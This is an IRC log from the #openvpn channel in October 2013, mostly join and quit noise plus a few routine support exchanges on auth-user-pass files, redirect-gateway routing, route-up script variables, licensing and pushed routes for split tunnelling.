23:07 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
23:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:27 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
23:28 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
23:37 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
23:37 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
--- Day changed Tue Oct 08 2013
00:27 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:33 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
00:33 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
01:26 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:34 -!- mattock_afk is now known as mattock
01:42 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
01:45 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
01:49 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has quit [Ping timeout: 256 seconds]
01:50 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
02:08 -!- Sazpaimon_ [wat@96.227.217.235] has joined #openvpn
02:10 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
02:10 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 246 seconds]
02:12 -!- kisom_ [~kisom@kisom.thr.kth.se] has joined #openvpn
02:13 -!- eval-_ [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has joined #openvpn
02:13 -!- RichiH_ [~richih@freenode/staff/richih] has joined #openvpn
02:16 -!- Firartix [artix@unaffiliated/fira] has joined #openvpn
02:16 -!- nobit_ [nobit@unaffiliated/muska] has joined #openvpn
02:16 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
02:16 -!- Brando753-o_O_o [~Brando753@unaffiliated/brando753] has joined #openvpn
02:16 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
02:17 -!- Netsplit *.net <-> *.split quits: cali, kantlivelong, Brando753, Sazpaimon, _br_-, nobit, HectorBarbossa, +_quadDamage, +RichiH, kisom,  (+3 more, use /NETSPLIT to show all of them)
02:17 -!- nobit_ is now known as nobit
02:17 -!- Firartix is now known as Fira
02:18 -!- Brando753-o_O_o is now known as Brando753
02:18 -!- kantlive- [~kantlivel@home.kantlivelong.com] has joined #openvpn
02:23 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
02:25 -!- Netsplit over, joins: cali
02:37 -!- trumee [~parul@93.186.147.20] has quit [Read error: Connection reset by peer]
02:41 -!- trumee [~parul@93.186.147.20] has joined #openvpn
02:43 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:44 -!- xTz is now known as Guest4498
02:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:05 -!- wikigazer [~mpb@host109-148-176-5.range109-148.btcentralplus.com] has joined #openvpn
03:10 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:24 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
03:39 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
03:44 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 260 seconds]
03:53 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:55 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
04:07 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-oeueqtqjbrkmeczv] has joined #openvpn
04:40 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
04:48 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
05:09 -!- Serano [~serano@rooty.be] has joined #openvpn
05:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
05:13 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:22 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has joined #openvpn
06:02 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:27 -!- RichiH_ is now known as RichiH
06:46 -!- Jaska__ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
06:47 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
06:50 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
06:54 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
06:54 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
07:00 -!- klein_ [~klein@187.85.177.33] has joined #openvpn
07:00 -!- klein_ [~klein@187.85.177.33] has quit [Changing host]
07:00 -!- klein_ [~klein@unaffiliated/klein] has joined #openvpn
07:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
07:07 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:25 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:30 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 246 seconds]
07:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:46 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:56 -!- elfixit [~Icedove@80-236.197-178.cust.bluewin.ch] has joined #openvpn
07:58 -!- master_o1_master [~master_of@p4FD7B54F.dip0.t-ipconnect.de] has joined #openvpn
08:01 -!- master_of_master [~master_of@p4FF241BF.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
08:02 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Remote host closed the connection]
08:14 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 248 seconds]
08:15 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
08:16 -!- geaaru [~geaaru@host76-193-dynamic.31-79-r.retail.telecomitalia.it] has joined #openvpn
08:21 -!- elfixit [~Icedove@80-236.197-178.cust.bluewin.ch] has quit [Ping timeout: 240 seconds]
08:27 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
08:28 -!- Minnebo [~Minnebo@d51530C84.static.telenet.be] has joined #openvpn
08:29 -!- Minnebo [~Minnebo@d51530C84.static.telenet.be] has quit [Read error: Connection reset by peer]
08:29 -!- Minnebo [~Minnebo@d51530C84.static.telenet.be] has joined #openvpn
08:54 -!- elfixit [~Icedove@80-236.197-178.cust.bluewin.ch] has joined #openvpn
09:00 -!- elfixit [~Icedove@80-236.197-178.cust.bluewin.ch] has quit [Ping timeout: 240 seconds]
09:01 -!- elfixit [~Icedove@82.197.169.38] has joined #openvpn
09:04 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
09:08 -!- Minnebo [~Minnebo@d51530C84.static.telenet.be] has quit [Ping timeout: 240 seconds]
09:23 -!- mirco [~mirco@p50802E7C.dip0.t-ipconnect.de] has joined #openvpn
09:43 -!- neutr0n- [~neutr0n@wsip-24-248-162-194.ks.ok.cox.net] has quit [Quit: Leaving]
09:43 -!- elfixit [~Icedove@82.197.169.38] has quit [Ping timeout: 240 seconds]
09:45 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
09:52 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:20 -!- raidz_away is now known as raidz
10:21 -!- seba [~seba@kratzbaum.someserver.de] has left #openvpn ["Ping timeout"]
10:23 -!- elfixit [~Icedove@82.197.169.38] has joined #openvpn
10:29 -!- elfixit [~Icedove@82.197.169.38] has quit [Quit: elfixit]
10:32 -!- mindcruft [~ident@static-108-27-36-18.nycmny.fios.verizon.net] has quit [Remote host closed the connection]
10:41 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
10:43 < Chocobo> is it possible to include the username and password in an openvpn config file?
10:44 < surfmasta> yes
10:44 < surfmasta> auth-user-pass <file>
10:44 < surfmasta> in the first line the username, in the second line the password
10:45 < surfmasta> but the openvpn client has to be compiled with auth-user-pass support
10:45 < Chocobo> surfmasta: ahh ok, thanks.
10:45 < surfmasta> which might not always be the case
10:46 < Chocobo> surfmasta: Ok, it looks like mine is.  Thanks for the help
10:51 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has quit [Ping timeout: 240 seconds]
10:53 -!- Chocobo [~swinchen@108.61.47.139] has joined #openvpn
10:53 -!- Chocobo [~swinchen@108.61.47.139] has quit [Changing host]
10:53 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
11:05 -!- stefan__ [~quassel@015-216-180-132.vpn.uni-bayreuth.de] has joined #openvpn
11:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
11:37 -!- xrosnight [~quassel@58.251.102.77] has joined #openvpn
11:38 -!- xrosnight [~quassel@58.251.102.77] has quit [Changing host]
11:38 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
11:42 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:54 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
11:56 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 245 seconds]
11:57 -!- crus [~crusader@2001:44b8:319e:2900:854a:eefb:4117:d833] has joined #openvpn
12:02 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 268 seconds]
12:02 -!- xrosnight [~quassel@58.251.102.77] has joined #openvpn
12:07 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
12:08 -!- xrosnight [~quassel@58.251.102.77] has quit [Ping timeout: 264 seconds]
12:09 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
12:11 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:21 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:22 -!- andi [~andi@unaffiliated/fr00d] has quit [Read error: Operation timed out]
12:27 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has quit [Ping timeout: 264 seconds]
12:28 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
12:31 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
12:38 -!- kiyor [~kiyor@12.13.90.183] has quit [Read error: No route to host]
13:06 -!- elfixit [~Icedove@82.197.179.16] has joined #openvpn
13:12 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 248 seconds]
13:26 -!- Denial [Denial@90.216.209.93] has joined #openvpn
13:27 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
13:39 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 240 seconds]
13:40 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
13:41 -!- Denial [Denial@90.216.209.93] has quit []
13:51 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has quit [Ping timeout: 248 seconds]
13:53 -!- Chocobo [~swinchen@samuel-winchenbach.ums.maine.edu] has joined #openvpn
13:53 -!- Chocobo [~swinchen@samuel-winchenbach.ums.maine.edu] has quit [Changing host]
13:53 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
13:54 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has quit [Client Quit]
14:11 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:11 -!- mirco [~mirco@p50802E7C.dip0.t-ipconnect.de] has quit [Quit: mirco]
14:12 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
14:12 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
14:16 -!- mattock is now known as mattock_afk
14:23 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has quit [Ping timeout: 248 seconds]
14:24 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
14:27 -!- geaaru [~geaaru@host76-193-dynamic.31-79-r.retail.telecomitalia.it] has quit [Quit: Leaving]
14:54 -!- mirco [~mirco@p50802E7C.dip0.t-ipconnect.de] has joined #openvpn
14:57 -!- mirco_ [~mirco@p50802E7C.dip0.t-ipconnect.de] has joined #openvpn
14:58 -!- mirco [~mirco@p50802E7C.dip0.t-ipconnect.de] has quit [Client Quit]
15:04 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
15:05 -!- mirco_ [~mirco@p50802E7C.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
15:06 -!- Devastator [~devas@186.214.110.101] has joined #openvpn
15:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:37 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
15:39 < Chocobo> Hi all.. I am just trying to see if I understand the networking when using "dev tun".  It looks like the routing table is set up to use tun0 as the default gateway.  openvpn has this device open, reads in the packets and forwards them (securely) out the physical interface to the openvpn server.  Is that correct?
15:40 <+pekster> Using tun0 as your gateway isn't a mandatory design feature: see !redirect for info if that's what you want
15:41 <+pekster> If you're doing that you usually don't want to replace the deafult gateway anyway, which you can also read about at the noted reference
15:41 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
15:43 < Chocobo> pekster: I am using a privateinternetaccess as my VPN provider.   This is what their openvpn.conf looks like: http://pastie.org/8387717  It seems to setup the default gateway and everything for me.
15:43 < Chocobo> !redirect
15:43 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:43 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
15:44 <+pekster> We don't support providers; since you clearly aren't the one controlling the server, there's not much we can do when they don't follow the recommended procedures to push gateway redirection options
15:44 <+pekster> !both
15:44 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
15:44 < Chocobo> pekster: ahh sorry.  I was just curious.  I didn't realize the server was controlling that.
15:45 <+pekster> This said, you can try and learn why clobbering the gateway is generally a bad idea and possibly override stupid behavior from an uncoporative server by reading about --redirect-gateway, --route-nopull, and --route yourself (and maybe --route-up if the server pushes routes you do wish to accept such as by using --route-noexec)
15:47 < Chocobo> pekster: I will do that.  Perhaps I can find a provider that doesn't do stupid things :)
15:47 <+pekster> Chocobo: If it helps, think of OpenVPN as nothing more than an IP router. Yes, it's got some encryption between the VPN peers, but beyond that it's effectively "just a router" -- what you do with that (now secure) route is up to you
15:48 < Chocobo> pekster: in other words I can configure the network on my end to my liking?
15:48 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:48 <+pekster> No many options have to match between VPN peers, such as the symmetric crypto choices and (if used) TLS cipher suite limitations
15:50 -!- Guest4498 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
15:50 <+pekster> But yes, the network config "once the VPN is running" is completely under your control; you don't "have" to accept any of the pushed options (even if it breaks things the server can't force it)
15:52 < Chocobo> Is there a better place to read about redirect-gateway (and the others you listed) other than the man page?
15:52 <+pekster> Not really; the !redirect output above explains pretty clearly what needs to happen, but it's intended for people configuring OpenVPN, not using a paid service
15:53 <+pekster> Was there something in particular after reading the listed references you would like clarification on?
15:54 < Chocobo> I was just trying to figure out why setting the default gateway was a bad idea.
15:54 <+pekster> A local DHCP renewal (commonly set to low values on many SOHO and even coprorate LANs) will wipe out the one openvpn set
15:54 <+pekster> This doesn't happen with the two /1 routes using `def1` adds instead
15:57 < Chocobo> I am going to start up the VPN and take a look at the routing table...  maybe I can figure out what their settings are from that.
15:58 <+pekster> If you want to understand more abobut what's going on use --verb 4 and scroll through the much more chatty logs. Or better yet, see the !howto and learn how openvpn works for yourself
16:02 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has quit [Ping timeout: 252 seconds]
16:02 -!- Devastator [~devas@186.214.110.101] has quit [Changing host]
16:02 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
16:02 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
16:03 < Chocobo> This is what it looks like (if you are interested) http://pastie.org/pastes/8387783/text
16:04 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Excess Flood]
16:04 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
16:04 -!- JackWinter_ [~jack@vodsl-11200.vo.lu] has joined #openvpn
16:04 -!- Probeus_ [probeus@probeus.no] has quit [Remote host closed the connection]
16:05 -!- Probeus [probeus@probeus.no] has joined #openvpn
16:05 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
16:05 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 264 seconds]
16:05 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has quit [Read error: Connection reset by peer]
16:05 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has joined #openvpn
16:05 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
16:06 -!- esde [~esde@162.218.209.203] has quit [Ping timeout: 264 seconds]
16:07 -!- esde [~esde@162.218.209.203] has joined #openvpn
16:07 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
16:08 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
16:11 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
16:12 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 268 seconds]
16:24 -!- elfixit [~Icedove@82.197.179.16] has quit [Ping timeout: 265 seconds]
16:35 < mrrg> 'lo
16:36 < mrrg> when using a --route-up script, is there a way to determine the tun interface number that was just set up before calling route-up?
16:36 < mrrg> i'd like the app that's called by route-up to bind to a specific tun interface
16:39 < mrrg> the route-up script forks to allow the tunnel to come up, but i'm having trouble binding the post-connect app to a unique tunnel
16:39 -!- vashidu [~vashidu@192.249.57.224] has quit [Quit: leaving]
16:39 <+pekster> mrrg: You get env-vars passed to the scripts to pull that info:
16:39 <+pekster> !scripts
16:39 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
16:41 < mrrg> ah great
16:42 <+pekster> Note that --route-up blocks the completeion of the VPN initializtion, so a fork and successful exit to the caller may be desirable depending on what you're doing
16:42 -!- Cybert1nus is now known as Cybertinus
16:47 < mrrg> pekster: yep thx, i'm forking it
16:48 <+pekster> You're forking welcome ;)
16:48 < mrrg> and it looks like the env var is forking working :)
16:50 <+pekster> The vars let you do quite a bit; I have some POSIX shell code for {dis,}connect accounting that uses a bunch of them to report details of client sessions:
16:50 <+pekster> !accounting
16:50 <@vpnHelper> "accounting" is Some shell code for basic user accounting on connect/disconnect: https://github.com/QueuingKoala/openvpn-dynamic/tree/master/user-accounting
16:50 < mrrg> ooh very cool
16:51 < mrrg> this may be quite useful in my future i think
16:51 < mrrg> pekster++
16:53 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
17:01 -!- illuminated [~booyah@adsl-108-67-82-47.dsl.okcyok.sbcglobal.net] has joined #openvpn
17:01 -!- qbrix [~q@unaffiliated/qbrix] has joined #openvpn
17:01 -!- qbrix [~q@unaffiliated/qbrix] has left #openvpn []
17:01 < illuminated> hi, do you have to purchase a license for openvpn server to make it functional or will it operate without one?
17:04 <+pekster> illuminated: The OpenVPN project is GPL and free to download, use, modify, and redistribute within the GPLv2 license. The "Access Server" and "OpenVPN Connect" products are non-free and subject to their own EULA and licensing fees
17:05 <+pekster> GPL downloads here:
17:05 <+pekster> !download
17:05 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
17:05 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
17:07 < illuminated> what about the virtual appliance. is it free?
17:07 -!- wikigazer [~mpb@host109-148-176-5.range109-148.btcentralplus.com] has quit [Ping timeout: 246 seconds]
17:07 <+pekster> No, that's a commercial product that run AS
17:08 < illuminated> ok, thanks
17:16 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
17:19 -!- raidz is now known as raidz_away
17:29 -!- raidz_away is now known as raidz
17:43 -!- stefan__ [~quassel@015-216-180-132.vpn.uni-bayreuth.de] has quit [Remote host closed the connection]
17:45 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 268 seconds]
18:01 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Quit: No Ping reply in 180 seconds.]
18:01 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
18:04 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:05 -!- nutron [~nutron@unaffiliated/nutron] has quit [Max SendQ exceeded]
18:06 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:10 -!- raidz is now known as raidz_away
18:19 -!- raidz_away is now known as raidz
18:20 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
18:25 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
18:26 -!- raidz is now known as raidz_away
18:29 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
18:30 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
18:32 -!- Cubox [cubox@unaffiliated/cubox] has quit [Quit: WeeChat 0.4.2-rc2]
18:33 -!- raidz_away is now known as raidz
18:34 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
18:45 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has joined #openvpn
19:02 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 246 seconds]
19:18 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 260 seconds]
19:20 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
19:30 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 248 seconds]
19:31 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
19:32 -!- raidz is now known as raidz_away
19:39 -!- raidz_away is now known as raidz
19:58 -!- Falconor [~Falconor@unaffiliated/falconor] has joined #openvpn
20:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:05 -!- JackWinter_ [~jack@vodsl-11200.vo.lu] has quit [Ping timeout: 260 seconds]
20:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
20:07 -!- oomph69 [~oomph@pool-173-66-235-65.washdc.fios.verizon.net] has joined #openvpn
20:10 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 256 seconds]
20:24 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
20:27 -!- oomph69 [~oomph@pool-173-66-235-65.washdc.fios.verizon.net] has quit []
20:51 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
21:18 -!- raidz is now known as raidz_away
21:24 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:25 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:43 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
21:54 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 -!- klein_ [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
22:07 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
22:10 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
22:16 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
22:17 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
22:18 -!- Riiiis_ [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
22:21 -!- _jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
22:21 -!- phantomcircuit_ [~phantomci@covertinferno.org] has joined #openvpn
22:21 -!- lbft [~lbft@unaffiliated/lbft] has quit [Disconnected by services]
22:21 -!- raidzz [~raidz@raidz.im] has joined #openvpn
22:21 -!- raidzz is now known as raidz
22:21 -!- raidz [~raidz@raidz.im] has quit [Changing host]
22:21 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
22:21 -!- mode/#openvpn [+o raidz] by ChanServ
22:21 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
22:22 -!- krphop_ [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
22:22 -!- Netsplit *.net <-> *.split quits: Riiiis, piele, krphop, @raidz_away, ljvb, abyss_, phantomcircuit, n2deep_, pnielsen, aji,  (+2 more, use /NETSPLIT to show all of them)
22:24 -!- abyss [~abyss@i-free.pl] has joined #openvpn
22:24 -!- Netsplit over, joins: aji
22:28 -!- krphop_ is now known as krphop
22:28 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
22:54 -!- pnielsen_ is now known as pnielsen
22:56 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
22:56 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
23:21 < xeqution> Sorry for the stupid question, I currently run a company which employees users remotely around the world, we are beefing up security across all of our servers by forcing all staff to log in directly via a VPN rather then their own IP addresses, what we would like to do is ultimately force all traffic to certain IP addresses via the OpenVPN server, all other traffic for example (facebook,
23:21 < xeqution> torrents etc etc goes through their own internet connection).  Is there a way to do this easily with OpenVPN and will it require the server configuration to be modified or the client side OpenVPN file?
23:26 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
23:32 < ngharo> !route
23:32 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
23:32 <@vpnHelper> behind the server or client
23:32 < ngharo> xeqution: pretty much all you need is 'route x.x.x.x 255.255.255.255' in the server config for each IP you want to go through the VPN
23:35 < ngharo> push "route x.x.x.x 255.255.255.255" that is
23:37 < xeqution> Brilliant, that is perfect.
23:37 < xeqution> So simple, thank you ngharo
23:44 <@krzee> he means that with a push before it
23:44 <@krzee> and then if the IPs are internet accessible you also need NAT and ip forwarding on the server
23:46 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
23:47 -!- mattock_afk is now known as mattock
23:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
--- Day changed Wed Oct 09 2013
00:10 -!- ljvb [~jason@us.vps.vanbrecht.com] has joined #openvpn
00:29 -!- penth [~rachel@c-68-81-92-61.hsd1.pa.comcast.net] has quit [Ping timeout: 245 seconds]
00:30 -!- penth [~rachel@c-68-81-92-61.hsd1.pa.comcast.net] has joined #openvpn
00:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:37 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 268 seconds]
01:13 -!- TheSov_ [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
